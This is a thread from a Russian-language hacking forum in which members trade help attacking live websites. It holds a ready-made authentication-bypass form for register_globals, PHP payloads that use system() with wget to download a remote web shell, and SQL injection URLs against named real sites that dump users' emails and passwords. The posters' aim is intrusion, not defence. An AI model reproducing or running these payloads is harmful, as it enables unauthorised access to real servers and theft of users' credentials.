Ваши вопросы по уязвимостям.

Discussion in 'Уязвимости' started by darky, 4 Aug 2007.

Thread Status:
Not open for further replies.
  1. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,413
    Likes Received:
    909
    Reputations:
    863
    есть хост с провами root, достал пасс от mysql.user, но немогу найти ни phpmyadmin не сpanel, возможно ли гденить на самом хосте просмотреть как выйти на админку ихней бд, пытался также залить шелл через скуль, но кавычки экранируются...
     
    _________________________
  2. FlaktW

    FlaktW Elder - Старейшина

    Joined:
    19 Aug 2009
    Messages:
    500
    Likes Received:
    33
    Reputations:
    12
    Попытайся залить шелл через двойной запрос.

    https://forum.antichat.ru/showpost.php?p=663815&amp%3Bpostcount=39
     
  3. FlaktW

    FlaktW Elder - Старейшина

    Joined:
    19 Aug 2009
    Messages:
    500
    Likes Received:
    33
    Reputations:
    12
    Кое-что есть, стучи в аську
     
  4. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,413
    Likes Received:
    909
    Reputations:
    863
    спасибо, интиресная пища для размшления ;)
    все вайл заливается, но вот только теги режутся, проходит только текст((
     
    _________________________
  5. ta-kyn

    ta-kyn Member

    Joined:
    7 May 2009
    Messages:
    41
    Likes Received:
    8
    Reputations:
    2
    Возможен ли обход авторизации? (RG=On)

    Code:
    <?php
    session_start();
    $checkLogin = false;
    if(!isset($_SESSION['admin_login'])) {
    
      # Check form values
      if (isset($_POST) && (!empty($_POST['admin_login'])) && (!empty($_POST['admin_passwd'])) ) {
    
        # Get Session vriables
        $admin_login  = trim($_POST['admin_login']);
        $admin_passwd = trim($_POST['admin_passwd']);
    
        # Check login
        if($admin_login == $login && $admin_passwd == $password) {
          $checkLogin = true;
          $_SESSION['admin_login']  = $admin_login;
          $_SESSION['admin_passwd'] = $admin_passwd; 
        }
      } 
     
  6. Expl0ited

    Expl0ited Members of Antichat

    Joined:
    16 Jul 2010
    Messages:
    1,035
    Likes Received:
    534
    Reputations:
    935
    Ну этож получается, сплоит должен быть такой:
    HTML:
    <form method=POST action="http://site/admin.php?login=admin&password=123">
    <input type="hidden" name="admin_login" value="admin">
    <input type="hidden" name="admin_passwd" value="123">
    <input type="submit" value="Зайти админом :)">
    </form>
    
    Вся соль в том, что переменные $login и $password заранее не объявлены, и при условии что RG=ON, то мы их можем определить используя _GET|POST|COOKIE|SESSION методы. А если мы отправим в $_POST['admin_login'] и $_POST['admin_passwd'] значения идентичные переменным $login и $password (которые мы подменили), то проверка
    Code:
    if($admin_login == $login && $admin_passwd == $password)
    вернет положительный результат, и нас пустит в админку.
     
    _________________________
    #16846 Expl0ited, 26 May 2011
    Last edited: 26 May 2011
  7. ta-kyn

    ta-kyn Member

    Joined:
    7 May 2009
    Messages:
    41
    Likes Received:
    8
    Reputations:
    2
    Как такое возможно, если учитывать, что на момент сравнения:
    Переменным $login и $password уже должны быть назначены значения? А при присвоении переменной значения - она считается объявленой?
     
  8. Expl0ited

    Expl0ited Members of Antichat

    Joined:
    16 Jul 2010
    Messages:
    1,035
    Likes Received:
    534
    Reputations:
    935
    Если брать в расчет тот код, что ты предоставил, то там переменным не присвоены значения, и уязвимость имеет место быть.

    А в случае если код имеет примерно такой вид:
    PHP:
    <?php
    // admin-login.php
    require_once 'config.php';
    ...
    session_start();
    $checkLogin false;
    if(!isset(
    $_SESSION['admin_login'])) {

      
    # Check form values
      
    if (isset($_POST) && (!empty($_POST['admin_login'])) && (!empty($_POST['admin_passwd'])) ) {

        
    # Get Session vriables
        
    $admin_login  trim($_POST['admin_login']);
        
    $admin_passwd trim($_POST['admin_passwd']);

        
    # Check login
        
    if($admin_login == $login && $admin_passwd == $password) {
          
    $checkLogin true;
          
    $_SESSION['admin_login']  = $admin_login;
          
    $_SESSION['admin_passwd'] = $admin_passwd
        }
      } 
    ...
    PHP:
    <?php
    // config.php
    $login 'admin';
    $password 'secret';
    ...
    В таком случае переменные объявлены, и уязвимости нет.
     
    _________________________
    1 person likes this.
  9. ta-kyn

    ta-kyn Member

    Joined:
    7 May 2009
    Messages:
    41
    Likes Received:
    8
    Reputations:
    2
    2Expl0ited
    Да, все верно. Я не правильно написал изначально =[. Сорри.
     
  10. wkar

    wkar Elder - Старейшина

    Joined:
    18 Oct 2009
    Messages:
    211
    Likes Received:
    67
    Reputations:
    34
    есть возможность выполнить пхп код, но в коде не должно быть ' ` " , есть ли возможность залить шелл?

    спасибо
     
    #16850 wkar, 27 May 2011
    Last edited: 27 May 2011
  11. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,148
    Reputations:
    886

    copy($_GET[a],$GET);&a=http://site.com/shell.php&b=shell.php

    system($_GET[a]);&a=wget http://site.com/shell.php

    ну и так далее
     
    _________________________
  12. FlaktW

    FlaktW Elder - Старейшина

    Joined:
    19 Aug 2009
    Messages:
    500
    Likes Received:
    33
    Reputations:
    12
    Не выводится через ошибку

    http://lenta.bkr.ru/out.php?id=40726+or+1+group+by+concat(version(),floor%20(rand(0)*2))having+min(0)+or+1+--+
     
  13. Expl0ited

    Expl0ited Members of Antichat

    Joined:
    16 Jul 2010
    Messages:
    1,035
    Likes Received:
    534
    Reputations:
    935
    А где ты там mysql ошибку увидел? Там только ошибка php
     
    _________________________
  14. FlaktW

    FlaktW Elder - Старейшина

    Joined:
    19 Aug 2009
    Messages:
    500
    Likes Received:
    33
    Reputations:
    12

    Если еще так попробовать обойти фильтрацию

    http://lenta.bkr.ru/out.php?id=-40726+union+select+1,2,3,4,5,6,7,8,89,10,11,12,13+--+
     
  15. Expl0ited

    Expl0ited Members of Antichat

    Joined:
    16 Jul 2010
    Messages:
    1,035
    Likes Received:
    534
    Reputations:
    935
    Почитай уже основы скуль инъекций!
    Code:
    http://lenta.bkr.ru/out.php?id=(40726)and(1=0)%75nion(%73elect(1),2,(%73elect(@x)from(%73elect(@x:=0x00),(%73elect(0)from(information_schema.columns)where(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and(0x00)in(@x:=concat(@x,0x3c62723e,table_schema,0x2e,table_name,0x3a,column_name))))x),4,5,6,7,8,9,10,11,12,(13))--+
    Постоянно задаешь однотипные вопросы!
     
    _________________________
  16. Lestatkiy

    Lestatkiy Member

    Joined:
    27 Sep 2010
    Messages:
    50
    Likes Received:
    22
    Reputations:
    5
    Кто в курсе, возможно ли такое:
    Есть скл, там примерно 20к юзеров, хотелось бы их всех достать с помощью benchmark`a, но если выводить все сразу серв возвращает ошибку, по 100 кое-как, дампить лимитом не вариант.
    Допстим запрос:
    1,concat(@i:=0x00,@o:=0x0d0a,benchmark(100,@o :=CONCAT(@o,0x0d0a,(SELECT concat(@i:=Email,0x3a,Password) from user WHERE Email>@i order by Email LIMIT 1))),@o),3,4 вернет 100, как слить следующие 100, запарился ждать ответ от элиты рус-хека, которые пытаются его продвигать!
     
  17. Expl0ited

    Expl0ited Members of Antichat

    Joined:
    16 Jul 2010
    Messages:
    1,035
    Likes Received:
    534
    Reputations:
    935
    (c) profexer 2011
     
    _________________________
  18. Lestatkiy

    Lestatkiy Member

    Joined:
    27 Sep 2010
    Messages:
    50
    Likes Received:
    22
    Reputations:
    5
    Спасибо статью уже видел, но не до конца понял, не получился такой запрос, там точно null нужен? Не силен в скл

    select @pro from ( select @pro:=0x2727, (select null user where concat(Email,0x2e,Password) not in( @pro:=concat(@pro,0x2c27,Email,0x2e,Password,0x27) ) limit 0,1 ) )fexer
     
  19. Expl0ited

    Expl0ited Members of Antichat

    Joined:
    16 Jul 2010
    Messages:
    1,035
    Likes Received:
    534
    Reputations:
    935
    Кидай ссылку, посмотрим.
     
    _________________________
  20. Lestatkiy

    Lestatkiy Member

    Joined:
    27 Sep 2010
    Messages:
    50
    Likes Received:
    22
    Reputations:
    5
    Code:
    http :// www.meraevents.com/Service_provider_detail.php?spid=1409-999.9+union+select+1,concat(0x696e6a64617461626567696e,concat(@i:=0x00,@o:=0x0d0a,benchmark(10,@o%20:=CONCAT(@o,0x0d0a,(SELECT%20concat(@i:=Email,0x3a,Password)%20from%20user%20WHERE%20Email%3E@i%20order%20by%20Email%20LIMIT%201))),@o),0x696e6a64617461656e64),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21--
    такой прошел, только больше не вывести.

    Code:
    http :// www.meraevents.com/Service_provider_detail.php?spid=1409-999.9+union+select+1,concat_ws(0x3a,Email,Password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+from+user--
    Так совсем ничего не видно

    сдампить дампером также нельзя.
     
    1 person likes this.
Thread Status:
Not open for further replies.